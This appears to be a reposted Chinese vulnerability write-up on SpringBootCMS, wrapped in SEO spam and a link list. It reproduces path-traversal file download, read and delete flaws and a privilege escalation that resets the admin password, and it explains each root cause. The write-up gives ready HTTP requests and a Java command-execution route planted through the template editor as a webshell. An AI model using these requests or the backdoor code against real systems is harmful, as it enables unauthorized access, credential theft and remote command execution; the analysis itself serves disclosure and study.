当前位置: 首页 > news >正文

写网站教程windows优化大师官方免费下载

写网站教程,windows优化大师官方免费下载,搭建本地网站环境,做网站直播的主播靠谱吗SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站&#xff…

SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。‍

http://www.jrecms.com/

环境搭建

修改 src/main/resources/application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件
image 运行 src/main/java/com/cms/App.java
image

漏洞复现分析

未授权任意文件下载

GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://localhost:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image

com.cms.controller.common.FileController#download

image
通过传过来的参数 fileKey​ 未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

越权修改管理员密码

系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能

POST /admin/admin/reset HTTP/1.1
Host: localhost:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8888/admin/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4id=1

image成功修改了管理员 admin 的密码,修改为 123456

com.cms.controller.admin.AdminController#reset

imagecom.cms.filter.PermissionFilter#doFilter

image根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。

其他的操作就会有相关的提示

image

授权任意文件读取

构造链接

http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties

image

imagecom.cms.controller.admin.TemplateController#edit

image对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示

授权任意文件修改可 getshell

查找其中不需要授权就可以访问到的路由对应的文件

http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java

image添加恶意代码,增加命令执行的路由文件

@RequestMapping("/exec")public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{// 执行命令并获取输出结果ProcessBuilder processBuilder = new ProcessBuilder();processBuilder.command("cmd", "/c", command);Process process = processBuilder.start();// 读取命令输出的结果String output = "";BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = inputReader.readLine()) != null) {output +=line;}response.setHeader("Content",output);}

重启项目后,发送路由信息

image

com.cms.controller.admin.TemplateController#update

image

漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行

授权任意文件删除

构造数据包

GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1
Host: localhost:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9
Connection: close

imagecom.cms.controller.admin.DatabaseController#delete

image​​com.cms.utils.BackupUtils#delete

image

image

http://www.ritt.cn/news/4250.html

相关文章:

  • 农村pc网站开发上海有什么seo公司
  • wordpress瀑布流图文关键词优化排名软件推荐
  • 做网站需要执照嘛南昌seo网站管理
  • 济南可靠的网站建设百度推广竞价
  • 1688一键铺货到拼多多站内关键词自然排名优化
  • 北京当地网站 点竞价推广
  • 品牌网站建设 结构软件开发流程
  • 做c 题的网站百度推广云南总代理
  • 国外开源建站系统百度竞价托管哪家好
  • wordpress做的学校网站佛山seo
  • 武汉网站建设价格网络营销企业案例
  • 面包类网站设计百度客服
  • 重庆忠县网站建设公司哪家好百度网盟推广官方网站
  • 网站开发需要多少人大型集团网站建设公司
  • 百度网页地图郑州seo优化顾问阿亮
  • 商城网站开发平台网站建设方案
  • 淮阳网站建设百度关键词流量查询
  • led营销型网站建设石家庄网站seo外包
  • 做网站首选科远网络互联网推广话术
  • 江苏省建设工程管理局网站个人如何推广app
  • 广州工程招标投标信息网seo薪酬如何
  • 漳州最专业的网站建设公司2021近期时事新闻热点事件简短
  • 金融网站推广圳seo公司b站推广链接
  • 用php做图书管理网站搜索引擎有哪些分类
  • 简易做网站的软件成都seo优化推广
  • 网站建设方案书备案设计图推广方案策略怎么写
  • 乌市做网站的公司新闻头条 今天
  • 怎么利用QQ空间给网站做排名百度云网盘搜索引擎
  • 如何免费创建个人网站小红书seo排名优化
  • 南京网站销售搜索引擎营销的主要方式有